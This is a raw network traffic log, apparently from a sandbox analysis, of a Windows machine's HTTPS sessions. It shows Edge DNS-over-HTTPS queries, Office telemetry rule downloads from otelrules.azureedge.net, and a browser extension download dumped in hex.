115	192.168.2.7	49868	162.159.61.3	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 07:55:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 55 00 0c 00 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: assetsmsncomA)UQ
2024-11-18 07:55:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 07:55:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e46665bde020bf3-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 07:55:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 51 e3 00 1c 06 61 73 73 65 74 73 03 6d 73 6e 03 63 6f 6d 07 65 64 67 65 6b 65 79 03 6e 65 74 00 c0 2c 00 05 00 01 00 00 01 07 00 16 06 65 32 38 35 37 38 01 64 0a 61 6b 61 6d 61 69 65 64 67 65 c0 43 c0 5b 00 06 00 01 00 00 01 6b 00 2e 03 6e 30 64 c0 5d 0a 68 6f 73 74 6d 61 73 74 65 72 06 61 6b 61 6d 61 69 c0 17 67 3a f0 81 00 00 03 e8 00 00 03 e8 00 00 03 e8 00 00 07 08 00 00 29 04 d0 00 00 00 00 01 25 00 0c 01 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: assetsmsncomAQassetsmsncomedgekeynet,e28578dakamaiedgeC[k.n0d]hostmasterakamaig:)%!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	49871	162.159.61.3	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 07:55:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 07:55:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 07:55:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e46665c08472ff4-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 07:55:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 cf 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075543Z-16547b76f7fwm7vghC1DFW900s0000000340000000005g8p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:43 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15349be3-801e-0047-5579-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075543Z-164f84587bf6h2bxhC1DFWbcm800000005ng00000000b3wh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:43 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:43 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 258ea299-f01e-0096-72c4-3710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075543Z-1866b5c5fbb2cz68hC1DFW9ytc00000004dg00000000h6qx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:43 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:43 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:43 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075543Z-16547b76f7ftnm6xhC1DFW9c8c000000052g000000009y45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:43 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:43 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 769defec-e01e-0085-6a89-38c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075543Z-164f84587bfdfkt7hC1DFW4fas00000003kg0000000034zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 07:55:43 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	49869	216.58.206.33	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:43 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 07:55:43 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC4aLkN4vLfx9Ko-Kyn2_Aqimi4nXxGXfYQ7A9BuUNzlci1gEIyelbKyXlYP7WA06kvj9xQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 17 Nov 2024 17:35:54 GMT Expires: Mon, 17 Nov 2025 17:35:54 GMT Cache-Control: public, max-age=31536000 Age: 51589 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-18 07:55:43 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-18 07:55:43 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-11-18 07:55:43 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-11-18 07:55:43 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-18 07:55:43 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-11-18 07:55:43 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-11-18 07:55:43 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 